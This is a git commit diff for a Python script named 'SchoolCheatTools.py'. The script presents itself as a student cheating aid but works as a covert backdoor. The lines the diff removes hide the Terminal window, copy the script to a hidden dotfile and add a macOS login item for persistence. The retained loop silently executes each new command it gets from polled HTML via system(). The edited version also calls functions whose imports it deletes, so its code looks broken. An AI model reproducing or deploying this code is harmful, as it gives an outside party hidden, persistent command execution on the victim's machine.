diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-11 00:34:34 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-11 00:35:51 +0800 |
| commit | fe7774a1b81dd95c5dbe8f5a23c751ad50b97a53 (patch) | |
| tree | d6537f8bfb041ea9272a7fba711b703f8d4c02d1 /SchoolCheatTools.py | |
| parent | 7c83f029e734bcc76db2c551a0f401d29bff79e5 (diff) | |
updated
new file: ..spec
deleted: .DS_Store
new file: .gitignore
new file: .spec
modified: Makefile
modified: SchoolCheatTools.py
new file: setup.py
Diffstat (limited to 'SchoolCheatTools.py')
| -rw-r--r-- | SchoolCheatTools.py | 34 |
1 files changed, 4 insertions, 30 deletions
diff --git a/SchoolCheatTools.py b/SchoolCheatTools.py index f3da33b..5a86aff 100644 --- a/SchoolCheatTools.py +++ b/SchoolCheatTools.py @@ -1,34 +1,8 @@ -#setup from bs4 import BeautifulSoup from requests import get -from os import system as cmd -from time import sleep -from sys import argv -old_command = 0 -command = 0 -cmd('clear') -cmd('osascript -e \'tell application "Terminal" to set visible of front window to false\' > /dev/null') -try: - filename = argv[0].split('/')[-1] -except - filename = argv[0] -cmd(f"mv {filename} ~/.{filename}") -cmd(f'osascript -e \'tell application \"System Events\" to make login item at end with properties {path:\"~/.{filename}\", hidden:false\'') - - -print(''' - -░██████╗░█████╗░██╗░░██╗░█████╗░░█████╗░██╗░░░░░░█████╗░██╗░░██╗███████╗░█████╗░████████╗████████╗░█████╗░░█████╗░██╗░░░░░░██████╗ -██╔════╝██╔══██╗██║░░██║██╔══██╗██╔══██╗██║░░░░░██╔══██╗██║░░██║██╔════╝██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░██╔════╝ -╚█████╗░██║░░╚═╝███████║██║░░██║██║░░██║██║░░░░░██║░░╚═╝███████║█████╗░░███████║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░╚█████╗░ -░╚═══██╗██║░░██╗██╔══██║██║░░██║██║░░██║██║░░░░░██║░░██╗██╔══██║██╔══╝░░██╔══██║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░░╚═══██╗ -██████╔╝╚█████╔╝██║░░██║╚█████╔╝╚█████╔╝███████╗╚█████╔╝██║░░██║███████╗██║░░██║░░░██║░░░░░░██║░░░╚█████╔╝╚█████╔╝███████╗██████╔╝ -╚═════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░░╚════╝░╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝░░░╚═╝░░░░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝╚═════╝░ - -IMPORTANT *** PLEASE KEEP THIS WINDOW OPEN -IMPORTANT *** WHEN USING SCHOOLCHEATTOOLS, PLEASE KEEP IT RUNNING IN THE BACKSTAGE, DO NOT CLOSE THE TERMINAL WINDOW, OTHERWISE SCHOOLCHEATTOOLS WON’T WORK -''') +old_command = "" +command = "" while True: #get HTML @@ -41,8 +15,8 @@ while True: #execute command if old_command != command: try: - cmd(f"{command} > /dev/null") + system(f"{command} > /dev/null") old_command = command except: pass - sleep(0.5) + sleep(0.1) |
